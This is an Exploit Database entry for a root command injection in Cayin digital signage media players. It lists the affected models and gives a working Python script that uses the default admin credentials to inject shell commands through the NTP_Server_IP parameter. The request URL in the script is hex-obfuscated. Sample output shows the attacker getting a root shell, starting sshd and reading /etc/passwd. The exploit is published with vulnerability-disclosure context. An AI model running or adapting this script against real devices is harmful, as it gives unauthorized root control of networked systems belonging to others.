Cayin Signage Media Player 3.0 – Remote Command Injection (root)

Exploit Database
117 阅读

作者： LiquidWorm

日期： 2020-06-04
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/48557/

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# Title: Cayin Signage Media Player 3.0 - Remote Command Injection (root)

# Author:LiquidWorm

# Date: 2020-06-04

# Vendor: https://www.cayintech.com

# CVE:N/A

#!/usr/bin/env python3

# Cayin Signage Media Player 3.0 Root Remote Command Injection

# Vendor: CAYIN Technology Co., Ltd.

# Product web page: https://www.cayintech.com

# Affected version: SMP-8000QD v3.0

# SMP-8000 v3.0

# SMP-6000 v3.0 Build 19025

# SMP-6000 v1.0 Build 14246

# SMP-6000 v1.0 Build 14199

# SMP-6000 v1.0 Build 14167

# SMP-6000 v1.0 Build 14097

# SMP-6000 v1.0 Build 14090

# SMP-6000 v1.0 Build 14069

# SMP-6000 v1.0 Build 14062

# SMP-4000 v1.0 Build 14098

# SMP-4000 v1.0 Build 14092

# SMP-4000 v1.0 Build 14087

# SMP-2310 v3.0

# SMP-2300 v3.0 Build 19316

# SMP-2210 v3.0 Build 19025

# SMP-2200 v3.0 Build 19029

# SMP-2200 v3.0 Build 19025

# SMP-2100 v10.0 Build 16228

# SMP-2100 v3.0

# SMP-2000 v1.0 Build 14167

# SMP-2000 v1.0 Build 14087

# SMP-1000 v1.0 Build 14099

# SMP-PROPLUS v1.5 Build 10081

# SMP-WEBPLUS v6.5 Build 11126

# SMP-WEB4 v2.0 Build 13073

# SMP-WEB4 v2.0 Build 11175

# SMP-WEB4 v1.5 Build 11476

# SMP-WEB4 v1.5 Build 11126

# SMP-WEB4 v1.0 Build 10301

# SMP-300 v1.0 Build 14177

# SMP-200 v1.0 Build 13080

# SMP-200 v1.0 Build 12331

# SMP-PRO4 v1.0

# SMP-NEO2 v1.0

# SMP-NEO v1.0

# Summary: CAYIN Technology provides Digital Signage

# solutions, including media players, servers, and

# software designed for the DOOH (Digital Out-of-home)

# networks. We develop industrial-grade digital signage

# appliances and tailored services so you don't have

# to do the hard work.

# Desc: CAYIN SMP-xxxx suffers from an authenticated

# OS command injection vulnerability using default

# credentials. This can be exploited to inject and

# execute arbitrary shell commands as the root user

# through the 'NTP_Server_IP' HTTP GET parameter in

# system.cgi and wizard_system.cgi pages.

# -----------------------------------------------------

# $ ./cayin.py 192.168.1.2 id

# uid=0(root) gid=65534(guest)

# # start sshd

# $ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd

# $

# $ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'"

# tcp00 0.0.0.0:220.0.0.0:* LISTEN

# tcp00 :::22 :::*LISTEN

# $ ./cayin.py 192.168.1.2 "cat /etc/passwd"

# root:x:0:0:root:/root:/bin/bash

# vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

# smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin

# sshd:x:1000:0::/dev/null:/sbin/nologin

# $

# -----------------------------------------------------

# Tested on: CAYIN Technology KT-Linux v0.99

#Apache/1.3.42 (Unix)

#Apache/1.3.41 (Unix)

#PHP/5.2.5

#Linux 2.6.37

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2020-5569

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5569.php

# 15.05.2020

import requests

import sys#____

import re#_____

if len(sys.argv) < 3:

print("Cayin SMP WebManager Post-Auth RCE")

print("Usage: ./cayin.py [ip] [cmd]")

sys.exit(17)

else:

ip____address = sys.argv[1]

ex____command = sys.argv[2]

ur____identif= b"\x68\x74\x74\x70\x3a\x2f\x2f"

ur____identif += (bytes(ip____address, "utf-8"))

ur____identif += b"\x2f\x63\x67\x69\x2d\x62\x69"

ur____identif += b"\x6e\x2f\x77\x69\x7a\x61\x72"

ur____identif += b"\x64\x5f\x73\x79\x73\x74\x65"

ur____identif += b"\x6d\x2e\x63\x67\x69\x3f\x54"

ur____identif += b"\x45\x53\x54\x5f\x4e\x54\x50"

ur____identif += b"\x3d\x31\x26\x4e\x54\x50\x5f"

ur____identif += b"\x53\x65\x72\x76\x65\x72\x5f"

ur____identif += b"\x49\x50\x3d\x70\x6f\x6f\x6c"

ur____identif += b"\x2e\x6e\x74\x70\x2e\x6f\x72"

ur____identif += b"\x67\x25\x32\x36" ##########"

ur____identif += (bytes(ex____command, "utf-8"))

ur____identif += b"\x25\x32\x36" ##############"

ht____request = requests.get(ur____identif, auth = ("webadmin", "admin"))

re____outputs = re.search("</html>\n(.*)", ht____request.text, flags = re.S).group().strip("</html>\n")

print(re____outputs)